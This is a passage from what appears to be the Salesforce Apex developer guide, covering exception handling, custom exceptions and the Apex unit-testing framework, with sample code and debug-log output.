Merchandise__c m = [SELECT Name FROM Merchandise__c WHERE Name='XYZ' LIMIT 1]; } catch(QueryException qe) { System.debug('The following exception has occurred: ' + qe.getMessage()); } SObjectException Any problem with sObject records, such as attempting to change a field in an update statement that can only be changed during insert. This example results in an SObjectException in the try block, which is caught in the catch block. The example queries an invoice statement and selects only its Name field. It then attempts to get the Description__c field on the queried sObject, which isn’t available because it isn’t in the list of fields queried in the SELECT statement. This results in an SObjectException. This exception is caught in our catch block and this is what you’ll see in the debug log: The following exception has occurred: SObject row was retrieved via SOQL without querying the requested field: Invoice_Statement__c.Description__c. try { Invoice_Statement__c inv = new Invoice_Statement__c( Description__c='New Invoice'); insert inv; // Query the invoice we just inserted Invoice_Statement__c v = [SELECT Name FROM Merchandise__c WHERE Id=:inv:Id]; // Causes an SObjectException because we didn't retrieve // the Description__c field. String s = v.Description__c; } catch(SObjectException se) { System.debug('The following exception has occurred: ' + se.getMessage()); } 347
  • 372. Debugging Apex Built-In Exceptions and Common Methods Common Exception Methods You can use common exception methods to get more information about an exception, such as the exception error message or the stack trace. The previous example calls the getMessage method, which returns the error message associated with the exception. There are other exception methods that are also available. Here are descriptions of some useful methods: • • • • • getCause: Returns the cause of the exception as an exception object. getLineNumber: Returns the line number from where the exception was thrown. getMessage: Returns the error message that displays for the user. getStackTraceString: Returns the stack trace as a string. getTypeName: Returns the type of exception, such as DmlException, ListException, MathException, and so on. Example To find out what some of the common methods return, try running this example. try { Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1]; // Causes an SObjectException because we didn't retrieve // the Total_Inventory__c field. Double inventory = m.Total_Inventory__c; } catch(Exception e) { System.debug('Exception type caught: ' + e.getTypeName()); System.debug('Message: ' + e.getMessage()); System.debug('Cause: ' + e.getCause()); // returns null System.debug('Line number: ' + e.getLineNumber()); System.debug('Stack trace: ' + e.getStackTraceString()); } The output of all System.debug statements looks like the following: 17:38:04:149 USER_DEBUG [7]|DEBUG|Exception type caught: System.SObjectException 17:38:04:149 USER_DEBUG [8]|DEBUG|Message: SObject row was retrieved via SOQL without querying the requested field: Merchandise__c.Total_Inventory__c 17:38:04:150 USER_DEBUG [9]|DEBUG|Cause: null 17:38:04:150 USER_DEBUG [10]|DEBUG|Line number: 5 17:38:04:150 USER_DEBUG [11]|DEBUG|Stack trace: AnonymousBlock: line 5, column 1 The catch statement argument type is the generic Exception type. It caught the more specific SObjectException. You can verify that this is so by inspecting the return value of e.getTypeName() in the debug output. The output also contains other properties of the SObjectException, like the error message, the line number where the exception occurred, and the stack trace. You might be wondering why getCause returned null. This is because in our sample there was no previous exception (inner exception) that caused this exception. In Creating Custom Exceptions, you’ll get to see an example where the return value of getCause is an actual exception. More Exception Methods Some exception types, such as DmlException, have specific exception methods that apply to only them and aren’t common to other exception types: • getDmlFieldNames(Index of the failed record): Returns the names of the fields that caused the error for the specified failed record. • getDmlId(Index of the failed record): Returns the ID of the failed record that caused the error for the specified failed record. • • getDmlMessage(Index of the failed record): Returns the error message for the specified failed record. getNumDml: Returns the number of failed records. Example 348
  • 373. Debugging Apex Catching Different Exception Types This snippet makes use of the DmlException methods to get more information about the exceptions returned when inserting a list of Merchandise objects. The list of items to insert contains three items, the last two of which don’t have required fields and cause exceptions. Merchandise__c m1 = new Merchandise__c( Name='Coffeemaker', Description__c='Kitchenware', Price__c=25, Total_Inventory__c=1000); // Missing the Price and Total_Inventory fields Merchandise__c m2 = new Merchandise__c( Name='Coffeemaker B', Description__c='Kitchenware'); // Missing all required fields Merchandise__c m3 = new Merchandise__c(); Merchandise__c[] mList = new List<Merchandise__c>(); mList.add(m1); mList.add(m2); mList.add(m3); try { insert mList; } catch (DmlException de) { Integer numErrors = de.getNumDml(); System.debug('getNumDml=' + numErrors); for(Integer i=0;i<numErrors;i++) { System.debug('getDmlFieldNames=' + de.getDmlFieldNames(i)); System.debug('getDmlMessage=' + de.getDmlMessage(i)); } } Note how the sample above didn’t include all the initial code in the try block. Only the portion of the code that could generate an exception is wrapped inside a try block, in this case the insert statement could return a DML exception in case the input data is not valid. The exception resulting from the insert operation is caught by the catch block that follows it. After executing this sample, you’ll see an output of System.debug statements similar to the following: 14:01:24:939 USER_DEBUG [20]|DEBUG|getNumDml=2 14:01:24:941 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Price, Total Inventory) 14:01:24:941 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing: [Price, Total Inventory] 14:01:24:942 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Description, Price, Total Inventory) 14:01:24:942 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing: [Description, Price, Total Inventory] The number of DML failures is correctly reported as two since two items in our list fail insertion. Also, the field names that caused the failure, and the error message for each failed record is written to the output. Catching Different Exception Types In the previous examples, we used the specific exception type in the catch block. We could have also just caught the generic Exception type in all examples, which catches all exception types. For example, try running this example that throws an SObjectException and has a catch statement with an argument type of Exception. The SObjectException gets caught in the catch block. try { Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1]; // Causes an SObjectException because we didn't retrieve // the Total_Inventory__c field. Double inventory = m.Total_Inventory__c; } catch(Exception e) { 349
  • 374. Debugging Apex Creating Custom Exceptions System.debug('The following exception has occurred: ' + e.getMessage()); } Alternatively, you can have several catch blocks—a catch block for each exception type, and a final catch block that catches the generic Exception type. Look at this example. Notice that it has three catch blocks. try { Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1]; // Causes an SObjectException because we didn't retrieve // the Total_Inventory__c field. Double inventory = m.Total_Inventory__c; } catch(DmlException e) { System.debug('DmlException caught: ' + e.getMessage()); } catch(SObjectException e) { System.debug('SObjectException caught: ' + e.getMessage()); } catch(Exception e) { System.debug('Exception caught: ' + e.getMessage()); } Remember that only one catch block gets executed and the remaining ones are bypassed. This example is similar to the previous one, except that it has a few more catch blocks. When you run this snippet, an SObjectException is thrown on this line: Double inventory = m.Total_Inventory__c;. Every catch block is examined in the order specified to find a match between the thrown exception and the exception type specified in the catch block argument: 1. The first catch block argument is of type DmlException, which doesn’t match the thrown exception (SObjectException.) 2. The second catch block argument is of type SObjectException, which matches our exception, so this block gets executed and the following message is written to the debug log: SObjectException caught: SObject row was retrieved via SOQL without querying the requested field: Merchandise__c.Total_Inventory__c. 3. The last catch block is ignored since one catch block has already executed. The last catch block is handy because it catches any exception type, and so catches any exception that was not caught in the previous catch blocks. Suppose we modified the code above to cause a NullPointerException to be thrown, this exception gets caught in the last catch block. Execute this modified example. You’ll see the following debug message: Exception caught: Attempt to de-reference a null object. try { String s; Boolean b = s.contains('abc'); // Causes a NullPointerException } catch(DmlException e) { System.debug('DmlException caught: ' + e.getMessage()); } catch(SObjectException e) { System.debug('SObjectException caught: ' + e.getMessage()); } catch(Exception e) { System.debug('Exception caught: ' + e.getMessage()); } Creating Custom Exceptions You can’t throw built-in Apex exceptions but can only catch them. With custom exceptions, you can throw and catch them in your methods. Custom exceptions enable you to specify detailed error messages and have more custom error handling in your catch blocks. Exceptions can be top-level classes, that is, they can have member variables, methods and constructors, they can implement interfaces, and so on. To create your custom exception class, extend the built-in Exception class and make sure your class name ends with the word Exception, such as “MyException” or “PurchaseException”. All exception classes extend the system-defined base class Exception, and therefore, inherits all common Exception methods. 350
  • 375. Debugging Apex Creating Custom Exceptions This example defines a custom exception called MyException. public class MyException extends Exception {} Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any object in this inheritance tree. For example: public class BaseException extends Exception {} public class OtherException extends BaseException {} try { Integer i; // Your code here if (i < 5) throw new OtherException('This is bad'); } catch (BaseException e) { // This catches the OtherException } Here are some ways you can create your exceptions objects, which you can then throw. You can construct exceptions: • With no arguments: new MyException(); • With a single String argument that specifies the error message: new MyException('This is bad'); • With a single Exception argument that specifies the cause and that displays in any stack trace: new MyException(e); • With both a String error message and a chained exception cause that displays in any stack trace: new MyException('This is bad', e); Rethrowing Exceptions and Inner Exceptions After catching an exception in a catch block, you have the option to rethrow the caught exception variable. This is useful if your method is called by another method and you want to delegate the handling of the exception to the caller method. You can rethrow the caught exception as an inner exception in your custom exception and have the main method catch your custom exception type. The following example shows how to rethrow an exception as an inner exception. The example defines two custom exceptions, My1Exception and My2Exception, and generates a stack trace with information about both. // Define two custom exceptions public class My1Exception extends Exception {} public class My2Exception extends Exception {} try { // Throw first exception throw new My1Exception('First exception'); } catch (My1Exception e) { // Throw second exception with the first // exception variable as the inner exception 351
  • 376. Debugging Apex Creating Custom Exceptions throw new My2Exception('Thrown with inner exception', e); } This is how the stack trace looks like resulting from running the code above: 15:52:21:073 EXCEPTION_THROWN [7]|My1Exception: First exception 15:52:21:077 EXCEPTION_THROWN [11]|My2Exception: Throw with inner exception 15:52:21:000 FATAL_ERROR AnonymousBlock: line 11, column 1 15:52:21:000 FATAL_ERROR Caused by 15:52:21:000 FATAL_ERROR AnonymousBlock: line 7, column 1 The example in the next section shows how to handle an exception with an inner exception by calling the getCause method. Inner Exception Example Now that you’ve seen how to create a custom exception class and how to construct your exception objects, let’s create and run an example that demonstrates the usefulness of custom exceptions. 1. In the Developer Console, create a class named MerchandiseException and add the following to it: public class MerchandiseException extends Exception {} You’ll use this exception class in the second class that you’ll create. Note that the curly braces at the end enclose the body of your exception class, which we left empty because we get some free code—our class inherits all the constructors and common exception methods, such as getMessage, from the built-in Exception class. 2. Next, create a second class named MerchandiseUtility. public class MerchandiseUtility { public static void mainProcessing() { try { insertMerchandise(); } catch(MerchandiseException me) { System.debug('Message: ' + me.getMessage()); System.debug('Cause: ' + me.getCause()); System.debug('Line number: ' + me.getLineNumber()); System.debug('Stack trace: ' + me.getStackTraceString()); } } public static void insertMerchandise() { try { // Insert merchandise without required fields Merchandise__c m = new Merchandise__c(); insert m; } catch(DmlException e) { // Something happened that prevents the insertion // of Employee custom objects, so throw a more // specific exception. throw new MerchandiseException( 'Merchandise item could not be inserted.', e); } } } This class contains the mainProcessing method, which calls insertMerchandise. The latter causes an exception by inserting a Merchandise without required fields. The catch block catches this exception and throws a new exception, the custom MerchandiseException you created earlier. Notice that we called a constructor for the exception that takes two arguments: the error message, and the original exception object. You might wonder why we are passing the original exception? Because it is useful information—when the MerchandiseException gets caught in the first method, 352
  • 377. Debugging Apex Creating Custom Exceptions mainProcessing, the original exception (referred to as an inner exception) is really the cause of this exception because it occurred before the MerchandiseException. 3. Now let’s see all this in action to understand better. Execute the following: MerchandiseUtility.mainProcessing(); 4. Check the debug log output. You should see something similar to the following: 18:12:34:928 USER_DEBUG [6]|DEBUG|Message: Merchandise item could not be inserted. 18:12:34:929 USER_DEBUG [7]|DEBUG|Cause: System.DmlException: Insert failed. First exception on row 0; first error: REQUIRED_FIELD_MISSING, Required fields are missing: [Description, Price, Total Inventory]: [Description, Price, Total Inventory] 18:12:34:929 USER_DEBUG [8]|DEBUG|Line number: 22 18:12:34:930 USER_DEBUG [9]|DEBUG|Stack trace: Class.EmployeeUtilityClass.insertMerchandise: line 22, column 1 A few items of interest: • • The cause of MerchandiseException is the DmlException. You can see the DmlException message also that states that required fields were missing. The stack trace is line 22, which is the second time an exception was thrown. It corresponds to the throw statement of MerchandiseException. throw new MerchandiseException('Merchandise item could not be inserted.', e); 353
  • 378. Chapter 13 Testing Apex In this chapter ... • • • • • • • Understanding Testing in Apex What to Test in Apex What are Apex Unit Tests? Understanding Test Data Running Unit Test Methods Testing Best Practices Testing Example Apex provides a testing framework that allows you to write unit tests, run your tests, check test results, and have code coverage results. This chapter provides covers unit tests, data visibility for tests, as well as the tools that are available on the Force.com platform for testing Apex. Testing best practices and a testing example are also provided. 354
  • 379. Testing Apex Understanding Testing in Apex Understanding Testing in Apex Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend that you use a test-driven development process, that is, test development that occurs at the same time as code development. Why Test Apex? Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate that your application works as expected, that there are no unexpected behaviors, your customers are going to trust you more. There are two ways of testing an application. One is through the Salesforce user interface, important, but merely testing through the user interface will not catch all of the use cases for your application. The other way is to test for bulk functionality: up to 200 records can be passed through your code if it's invoked using SOAP API or by a Visualforce standard set controller. An application is seldom finished. You will have additional releases of it, where you change and extend functionality. If you have written comprehensive tests, you can ensure that a regression is not introduced with any new functionality. Before you can deploy your code or package it for the Force.com AppExchange, the following must be true. • At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully. Note the following. ◊ ◊ ◊ ◊ • • When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage. Test methods and test classes are not counted as part of Apex code coverage. While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests. Every trigger must have some test coverage. All classes and triggers must compile successfully. Salesforce runs all tests in all organizations that have Apex code to verify that no behavior has been altered as a result of any service upgrades. What to Test in Apex Salesforce.com recommends that you write tests for the following: Single action Test to verify that a single record produces the correct, expected result. Bulk actions Any Apex code, whether a trigger, a class or an extension, may be invoked for 1 to 200 records. You must test not only the single record case, but the bulk cases as well. Positive behavior Test to verify that the expected behavior occurs through every expected permutation, that is, that the user filled out everything correctly and did not go past the limits. 355
  • 380. Testing Apex What are Apex Unit Tests? Negative behavior There are likely limits to your applications, such as not being able to add a future date, not being able to specify a negative amount, and so on. You must test for the negative case and verify that the error messages are correctly produced as well as for the positive, within the limits cases. Restricted user Test whether a user with restricted access to the sObjects used in your code sees the expected behavior. That is, whether they can run the code or receive error messages. Note: Conditional and ternary operators are not considered executed unless both the positive and negative branches are executed. For examples of these types of tests, see Testing Example on page 371. What are Apex Unit Tests? To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition. Also, test methods must be defined in test classes, that is, classes annotated with isTest. For example: @isTest private class myClass { static testMethod void myTest() { // code_block } } This is the same test class as in the previous example but it defines the test method with the isTest annotation instead. @isTest private class myClass { @isTest static void myTest() { // code_block } } Use the isTest annotation to define classes and methods that only contain code used for testing your application. The isTest annotation on methods is equivalent to the testMethod keyword. Note: Classes defined with the isTest annotation don't count against your organization limit of 3 MB for all Apex code. This is an example of a test class that contains two test methods. @isTest private class MyTestClass { // Methods for testing @isTest static void test1() { // Implement test code } @isTest static void test2() { // Implement test code 356
  • 381. Testing Apex What are Apex Unit Tests? } } Classes and methods defined as isTest can be either private or public. The access level of test classes methods doesn’t matter. This means you don’t need to add an access modifier when defining a test class or test methods. The default access level in Apex is private. The testing framework can always find the test methods and execute them, regardless of their access level. Classes defined as isTest must be top-level classes and can't be interfaces or enums. Methods of a test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't be called by a non-test request. This example shows a class and its corresponding test class. This is the class to be tested. It contains two methods and a constructor. public class TVRemoteControl { // Volume to be modified Integer volume; // Constant for maximum volume value static final Integer MAX_VOLUME = 50; // Constructor public TVRemoteControl(Integer v) { // Set initial value for volume volume = v; } public Integer increaseVolume(Integer amount) { volume += amount; if (volume > MAX_VOLUME) { volume = MAX_VOLUME; } return volume; } public Integer decreaseVolume(Integer amount) { volume -= amount; if (volume < 0) { volume = 0; } return volume; } public static String getMenuOptions() { return 'AUDIO SETTINGS - VIDEO SETTINGS'; } } This is the corresponding test class. It contains four test methods. Each method in the previous class is called. Although this would have been enough for test coverage, the test methods in the test class perform additional testing to verify boundary conditions. @isTest class TVRemoteControlTest { @isTest static void testVolumeIncrease() { TVRemoteControl rc = new TVRemoteControl(10); Integer newVolume = rc.increaseVolume(15); System.assertEquals(25, newVolume); } @isTest static void testVolumeDecrease() { TVRemoteControl rc = new TVRemoteControl(20); 357
  • 382. Testing Apex Accessing Private Test Class Members Integer newVolume = rc.decreaseVolume(15); System.assertEquals(5, newVolume); } @isTest static void testVolumeIncreaseOverMax() { TVRemoteControl rc = new TVRemoteControl(10); Integer newVolume = rc.increaseVolume(100); System.assertEquals(50, newVolume); } @isTest static void testVolumeDecreaseUnderMin() { TVRemoteControl rc = new TVRemoteControl(10); Integer newVolume = rc.decreaseVolume(100); System.assertEquals(0, newVolume); } @isTest static void testGetMenuOptions() { // Static method call. No need to create a class instance. String menu = TVRemoteControl.getMenuOptions(); System.assertNotEquals(null, menu); System.assertNotEquals('', menu); } } Unit Test Considerations Here are some things to note about unit tests. • • • • • • Starting with Salesforce.com API 28.0, test methods can no longer reside in non-test classes and must be part of classes annotated with isTest. See the TestVisible annotation to learn how you can access private class members from a test class. Test methods can’t be used to test Web service callouts. Instead, use mock callouts. See Testing Web Service Callouts and Testing HTTP Callouts. You can’t send email messages from a test method. Since test methods don’t commit data created in the test, you don’t have to delete test data upon completion. For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example, inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have unique names. Tracked changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to the database before they're created. Since test methods don't commit data, they don't result in the creation of FeedTrackedChange records. Similarly, field history tracking records (such as AccountHistory) can't be created in test methods because they require other sObject records to be committed first (for example, Account). See Also: IsTest Annotation Accessing Private Test Class Members Test methods are defined in a test class, separate from the class they test. This can present a problem when having to access a private class member variable from the test method, or when calling a private method. Because these are private, they aren’t visible to the test class. You can either modify the code in your class to expose public methods that will make use of these private class members, or you can simply annotate these private class members with TestVisible. When you annotate private or protected members with this annotation, they can be accessed by test methods and only code running in test context. 358
  • 383. Testing Apex Accessing Private Test Class Members This example shows how TestVisible is used with private member variables, a private inner class with a constructor, a private method, and a private custom exception. All these can be accessed in the test class because they’re annotated with TestVisible. The class is listed first and is followed by a test class containing the test methods. public class VisibleSampleClass { // Private member variables @TestVisible private Integer recordNumber = 0; @TestVisible private String areaCode = '(415)'; // Public member variable public Integer maxRecords = 1000; // Private inner class @TestVisible class Employee { String fullName; String phone; // Constructor @TestVisible Employee(String s, String ph) { fullName = s; phone = ph; } } // Private method @TestVisible private String privateMethod(Employee e) { System.debug('I am private.'); recordNumber++; String phone = areaCode + ' ' + e.phone; String s = e.fullName + ''s phone number is ' + phone; System.debug(s); return s; } // Public method public void publicMethod() { maxRecords++; System.debug('I am public.'); } // Private custom exception class @TestVisible private class MyException extends Exception {} } // Test class for VisibleSampleClass @isTest private class VisibleSampleClassTest { // This test method can access private members of another class // that are annotated with @TestVisible. static testmethod void test1() { VisibleSampleClass sample = new VisibleSampleClass (); // Access private data members and update their values sample.recordNumber = 100; sample.areaCode = '(510)'; // Access private inner class VisibleSampleClass.Employee emp = new VisibleSampleClass.Employee('Joe Smith', '555-1212'); // Call private method String s = sample.privateMethod(emp); // Verify result System.assert( s.contains('(510)') && s.contains('Joe Smith') && s.contains('555-1212')); 359
  • 384. Testing Apex Understanding Test Data } // This test method can throw private exception defined in another class static testmethod void test2() { // Throw private exception. try { throw new VisibleSampleClass.MyException('Thrown from a test.'); } catch(VisibleSampleClass.MyException e) { // Handle exception } } static testmethod void test3() { // Access public method. // No @TestVisible is used. VisibleSampleClass sample = new VisibleSampleClass (); sample.publicMethod(); } } The TestVisible annotation can be handy when you upgrade the Salesforce.com API version of existing classes containing mixed test and non-test code. Because test methods aren’t allowed in non-test classes starting in API version 28.0, you must move the test methods from the old class into a new test class (a class annotated with isTest) when you upgrade the API version of your class. You might run into visibility issues when accessing private methods or member variables of the original class. In this case, just annotate these private members with TestVisible. Understanding Test Data Apex test data is transient and isn’t committed to the database. This means that after a test method finishes execution, the data inserted by the test doesn’t persist in the database. As a result, there is no need to delete any test data at the conclusion of a test. Likewise, all the changes to existing records, such as updates or deletions, don’t persist. This transient behavior of test data makes the management of data easier as you don’t have to perform any test data cleanup. At the same time, if your tests access organization data, this prevents accidental deletions or modifications to existing records. By default, existing organization data isn’t visible to test methods, with the exception of certain setup objects. You should create test data for your test methods whenever possible. However, test code saved against Salesforce.com API version 23.0 or earlier has access to all data in the organization. Data visibility for tests is covered in more detail in the next section. Isolation of Test Data from Organization Data in Unit Tests Starting with Apex code saved using Salesforce.com API version 24.0 and later, test methods don’t have access by default to pre-existing data in the organization, such as standard objects, custom objects, and custom settings data, and can only access data that they create. However, objects that are used to manage your organization or metadata objects can still be accessed in your tests such as: • • • • • • • • User Profile Organization AsyncApexJob CronTrigger RecordType ApexClass ApexTrigger 360
  • 385. Testing Apex • • Using the isTest(SeeAllData=true) Annotation ApexComponent ApexPage Whenever possible, you should create test data for each test. You can disable this restriction by annotating your test class or test method with the IsTest(SeeAllData=true) annotation. Test code saved using Salesforce.com API version 23.0 or earlier continues to have access to all data in the organization and its data access is unchanged. Data Access Considerations • • • • • If a new test method saved using Salesforce.com API version 24.0 or later calls a method in another class saved using version 23.0 or earlier, the data access restrictions of the caller are enforced in the called method; that is, the called method won’t have access to organization data because the caller doesn’t, even though it was saved in an earlier version. This access restriction to test data applies to all code running in test context. For example, if a test method causes a trigger to execute and the test can’t access organization data, the trigger won’t be able to either. If a test makes a Visualforce request, the executing test stays in test context but runs in a different thread, so test data isolation is no longer enforced. In this case, the test will be able to access all data in the organization after initiating the Visualforce request. However, if the Visualforce request performs a callback, such as a JavaScript remoting call, any data inserted by the callback won't be visible to the test. For Apex saved using Salesforce.com API version 27.0 and earlier, the VLOOKUP validation rule function always looks up data in the organization, in addition to test data, when fired by a running Apex test. Starting with version 28.0, the VLOOKUP validation rule function no longer accesses organization data from a running Apex test and looks up only data created by the test, unless the test class or method is annotated with IsTest(SeeAllData=true). There might be some cases where you can’t create certain types of data from your test method because of specific limitations. Here are some examples of such limitations. ◊ Inserting a pricebook entry for a product isn’t feasible from a test since the standard pricebook isn’t accessible and can’t be created in a running test. Also, inserting a pricebook entry for a custom pricebook isn’t supported since this requires defining a standard pricebook. For such situations, annotate your test method with IsTest(SeeAllData=true) so that your test can access organization data. ◊ Some standard objects aren’t createable. For more information on these objects, see the Object Reference for Salesforce and Force.com. ◊ For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example, inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have unique names. This happens whether or not your test is annotated with IsTest(SeeAllData=true). ◊ Records that are created only after related records are committed to the database, like tracked changes in Chatter. Tracked changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to the database before they're created. Since test methods don't commit data, they don't result in the creation of FeedTrackedChange records. Similarly, field history tracking records (such as AccountHistory) can't be created in test methods because they require other sObject records to be committed first (for example, Account). Using the isTest(SeeAllData=true) Annotation Annotate your test class or test method with IsTest(SeeAllData=true) to open up data access to records in your organization. 361
  • 386. Testing Apex Using the isTest(SeeAllData=true) Annotation This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in this class have access to all data in the organization. // All test methods in this class can access all data. @isTest(SeeAllData=true) public class TestDataAccessClass { // This test accesses an existing account. // It also creates and accesses a new test account. static testmethod void myTestMethod1() { // Query an existing account in the organization. Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1]; System.assert(a != null); // Create a test account based on the queried account. Account testAccount = a.clone(); testAccount.Name = 'Acme Test'; insert testAccount; // Query the test account that was inserted. Account testAccount2 = [SELECT Id, Name FROM Account WHERE Name='Acme Test' LIMIT 1]; System.assert(testAccount2 != null); } // Like the previous method, this test method can also access all data // because the containing class is annotated with @isTest(SeeAllData=true). @isTest static void myTestMethod2() { // Can access all data in the organization. } } This second example shows how to apply the isTest(SeeAllData=true) annotation on a test method. Because the class that the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method to enable access to all data for that test method. The second test method doesn’t have this annotation, so it can access only the data it creates in addition to objects that are used to manage your organization, such as users. // This class contains test methods with different data access levels. @isTest private class ClassWithDifferentDataAccess { // Test method that has access to all data. @isTest(SeeAllData=true) static void testWithAllDataAccess() { // Can query all data in the organization. } // Test method that has access to only the data it creates // and organization setup and metadata objects. @isTest static void testWithOwnDataAccess() { // This method can still access the User object. // This query returns the first user object. User u = [SELECT UserName,Email FROM User LIMIT 1]; System.debug('UserName: ' + u.UserName); System.debug('Email: ' + u.Email); // Can access the test account that is created here. Account a = new Account(Name='Test Account'); insert a; // Access the account that was just created. Account insertedAcct = [SELECT Id,Name FROM Account WHERE Name='Test Account']; System.assert(insertedAcct != null); } } 362
  • 387. Testing Apex Loading Test Data Considerations for the IsTest(SeeAllData=true) Annotation • • If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test methods whether the test methods are defined with the @isTest annotation or the testmethod keyword. The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level. However, using isTest(SeeAllData=false) on a method doesn’t restrict organization data access for that method if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this case, the method will still have access to all the data in the organization. Loading Test Data Using the Test.loadData method, you can populate data in your test methods without having to write many lines of code. Simply, add the data in a .csv file, create a static resource for this file, and then call Test.loadData within your test method by passing it the sObject type token and the static resource name. For example, for Account records and a static resource name of myResource, make the following call: List<sObject> ls = Test.loadData(Account.sObjectType, 'myResource'); The Test.loadData method returns a list of sObjects that correspond to each record inserted. You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension. The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines are the field values. To learn more about static resources, see “Defining Static Resources” in the Salesforce online help. Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are: • • • • text/csv application/vnd.ms-excel application/octet-stream text/plain Test.loadData Example The following are steps for creating a sample .csv file and a static resource, and calling Test.loadData to insert the test records. 1. Create a .csv file that has the data for the test records. This is a sample .csv file with three account records. You can use this sample content to create your .csv file. Name,Website,Phone,BillingStreet,BillingCity,BillingState,BillingPostalCode,BillingCountry sForceTest1,http://www.sforcetest1.com,(415) 901-7000,The Landmark @ One Market,San Francisco,CA,94105,US sForceTest2,http://www.sforcetest2.com,(415) 901-7000,The Landmark @ One Market Suite 300,San Francisco,CA,94105,US sForceTest3,http://www.sforcetest3.com,(415) 901-7000,1 Market St,San Francisco,CA,94105,US 2. Create a static resource for the .csv file: a. b. c. d. Click Develop > Static Resources, and then New Static Resource. Name your static resource testAccounts. Choose the file you just created. Click Save. 363
  • 388. Testing Apex Common Test Utility Classes for Test Data Creation 3. Call Test.loadData in a test method to populate the test accounts. @isTest private class DataUtil { static testmethod void testLoadData() { // Load the test accounts from the static resource List<sObject> ls = Test.loadData(Account.sObjectType, 'testAccounts'); // Verify that all 3 test accounts were created System.assert(ls.size() == 3); // Get first test account Account a1 = (Account)ls[0]; String acctName = a1.Name; System.debug(acctName); // Perform some testing using the test records } } Common Test Utility Classes for Test Data Creation Common test utility classes are public test classes that contain reusable code for test data creation. Public test utility classes are defined with the isTest annotation, and as such, are excluded from the organization code size limit and execute in test context. They can be called by test methods but not by non-test code. The methods in the public test utility class are defined the same way methods are in non-test classes. They can take parameters and can return a value. The methods should be declared as public or global to be visible to other test classes. These common methods can be called by any test method in your Apex classes to set up test data before running the test. While you can create public methods for test data creation in a regular Apex class, without the isTest annotation, you don’t get the benefit of excluding this code from the organization code size limit. This is an example of a test utility class. It contains one method, createTestRecords, which accepts the number of accounts to create and the number of contacts per account. The next example shows a test method that calls this method to create some data. @isTest public class TestDataFactory { public static void createTestRecords(Integer numAccts, Integer numContactsPerAcct) { List<Account> accts = new List<Account>(); for(Integer i=0;i<numAccts;i++) { Account a = new Account(Name='TestAccount' + i); accts.add(a); } insert accts; for (Integer j=0;j<numAccts;j++) { Account acct = accts[j]; List<Contact> cons = new List<Contact>(); // For each account just inserted, add contacts for (Integer k=numContactsPerAcct*j;k<numContactsPerAcct*(j+1);k++) { cons.add(new Contact(firstname='Test'+k,lastname='Test'+k,AccountId=acct.Id)); } insert cons; } } } 364
  • 389. Testing Apex Running Unit Test Methods The test method in this class calls the test utility method, createTestRecords, to create five test accounts with three contacts each. @isTest private class MyTestClass { static testmethod void test1() { TestDataFactory.createTestRecords(5,3); // Run some tests } } Running Unit Test Methods You can run unit tests for: • • • A specific class A subset of classes All unit tests in your organization To run a test, use any of the following: • • • • The Salesforce user interface The Force.com IDE The Force.com Developer Console The API Running Tests Through the Salesforce User Interface You can run unit tests on the Apex Test Execution page. Tests started on this page run asynchronously, that is, you don't have to wait for a test class execution to finish. The Apex Test Execution page refreshes the status of a test and displays the results after the test completes. To use the Apex Test Execution page: 1. From Setup, click Develop > Apex Test Execution. 2. Click Select Tests.... Note: If you have Apex classes that are installed from a managed package, you must compile these classes first by clicking Compile all classes on the Apex Classes page so that they appear in the list. See “Managing Apex Classes” in the Salesforce Help. 3. Select the tests to run. The list of tests contains classes that contain test methods. 365
  • 390. Testing Apex • • • Running Unit Test Methods To select tests from an installed managed package, select its corresponding namespace from the drop-down list. Only the classes of the managed package with the selected namespace appear in the list. To select tests that exist locally in your organization, select [My Namespace] from the drop-down list. Only local classes that aren't from managed packages appear in the list. To select any test, select [All Namespaces] from the drop-down list. All the classes in the organization appear, whether or not they are from a managed package. Note: Classes whose tests are still running don't appear in the list. 4. Click Run. After you run tests using the Apex Test Execution page, you can view code coverage details in the Developer Console. From Setup, click Develop > Apex Test Execution > View Test History to view all test results for your organization, not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared. Running Tests Using the Force.com IDE In addition, you can execute tests with the Force.com IDE (see https://wiki.developerforce.com/index.php/Apex_Toolkit_for_Eclipse). Running Tests Using the Force.com Developer Console The Developer Console enables you to create test runs to execute tests in specific test classes, or to run all tests. The Developer Console runs tests asynchronously in the background allowing you to work in other areas of the Developer Console while tests are 